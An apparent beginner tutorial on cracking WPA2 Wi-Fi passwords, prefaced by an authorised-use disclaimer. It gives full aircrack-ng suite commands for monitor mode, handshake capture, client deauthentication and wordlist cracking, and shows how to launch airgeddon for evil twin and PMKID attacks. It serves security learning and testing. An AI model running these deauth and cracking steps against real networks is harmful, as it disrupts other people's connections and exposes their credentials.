📶 Wi-Fi Hacking Lab: A Beginner’s Guide to WPA2 Hacking

Disclaimer: This guide is for educational purposes only. Use this knowledge to strengthen your network security. Never use these methods on networks you do not own or have explicit permission to test.

🔧 Getting Started with a Hacking OS

  • Kali Linux: Download Kali. Flash to USB using Rufus or dd.
  • Parrot Security OS: Download Parrot. Lightweight alternative preloaded with tools.

📶 Get the Right Wi-Fi Adapter

  • Atheros AR9271: (e.g., Alfa AWUS036NHA)
  • Realtek RTL8812AU: (requires driver install)

Driver Installation:

sudo apt update
sudo apt install realtek-rtl88xxau-dkms

Or find drivers on GitHub for specific chipsets.

🎯 Objective: Capture WPA2 Handshake & Crack Password

Step 1: Monitor Mode

sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up

Or:

sudo airmon-ng start wlan0

Step 2: Scan Networks

sudo airodump-ng wlan0mon

Step 3: Focus on Target

sudo airodump-ng --bssid <BSSID> -c <CH> -w handshake wlan0mon

Step 4: Deauth Client

sudo aireplay-ng --deauth 10 -a <BSSID> wlan0mon

💣 Brute-Forcing with Aircrack-ng

sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt -b <BSSID> handshake.cap

Unzip if needed:

gunzip /usr/share/wordlists/rockyou.txt.gz

⚡ Faster Way: Airgeddon

git clone https://github.com/v1s1t0r1sh3r3/airgeddon.git
cd airgeddon
sudo bash airgeddon.sh

Airgeddon automates handshake capture, evil twin attacks, PMKID attacks, and more.

🧠 Pro Tips

  • BSSID = Router MAC address
  • Start with 2.4GHz before 5GHz
  • Monitor mode = Listening; Managed mode = Connecting
  • Ctrl+C stops airodump-ng and aireplay-ng

📁 Useful Wordlists

🚨 Final Thoughts

Wi-Fi hacking teaches real-world vulnerabilities, but with great power comes great responsibility.
👨‍💻 Stay sharp. Stay legal. Always get permission before testing any network.

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